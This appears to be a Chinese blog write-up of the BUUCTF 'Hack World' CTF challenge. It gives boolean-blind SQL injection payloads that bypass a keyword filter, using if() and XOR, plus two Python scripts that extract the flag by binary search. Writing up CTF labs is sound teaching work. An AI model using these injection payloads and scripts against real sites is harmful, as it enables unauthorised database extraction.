[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF

本文探讨了如何通过布尔盲注和异或运算技巧绕过SQL过滤,实现MySQL注入攻击的两种方法。作者详细介绍了使用IF语句进行字符测试,以及利用异或运算避开特定字符过滤,最终成功获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

分析

法一

法二


分析

表名跟字段名提示都给了,burpsuite抓包查询点,上fuzz跑,看看过滤了那些关键字

长度为482的包都被过滤掉了,过滤得挺少,但是呢,输入两个关键字的时候却检测到SQL注入,所以这题还是组合过滤,无论怎样都不能出现单引号和#的组合,单引号和;的组合,而且(select)没被过滤掉,这就过滤掉了许多方法以及空格,空格可以用括号绕过,绕过思路具体可参考

【技术分享】MySQL 注入攻击与防御 - 安全客,安全资讯平台

法一

测试的时候发现能用if

if(1,1,2)

 

  

用布尔盲注,先试一下拆解数据库名

if(ascii(substr((select(database())),1,1))>32,1,2)

 回显id为1的情况,说明能用,直接猜字段

if(ascii(substr((select(flag)from(flag)),1,1))>32,1,2)

说明能用,再用二分法写个python脚本

#buuctf web Hack World
import requests


url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0


while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf+right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload} 
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

跑完后得到flag

flag{dda27733-1184-415d-8dba-5e9597491181}

法二

看了别人的wp,还能用一种方法,异或运算,可参考

MySQL逻辑运算符

先测试一下,查询0的时候为

查询1的时候为

可以构造payload

0^(ascii(substr(database(),1,1))>0)

 回显

所以写个脚本

#buuctf web Hack World
from turtle import right
import requests


url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0


while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf+right) // 2
        payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值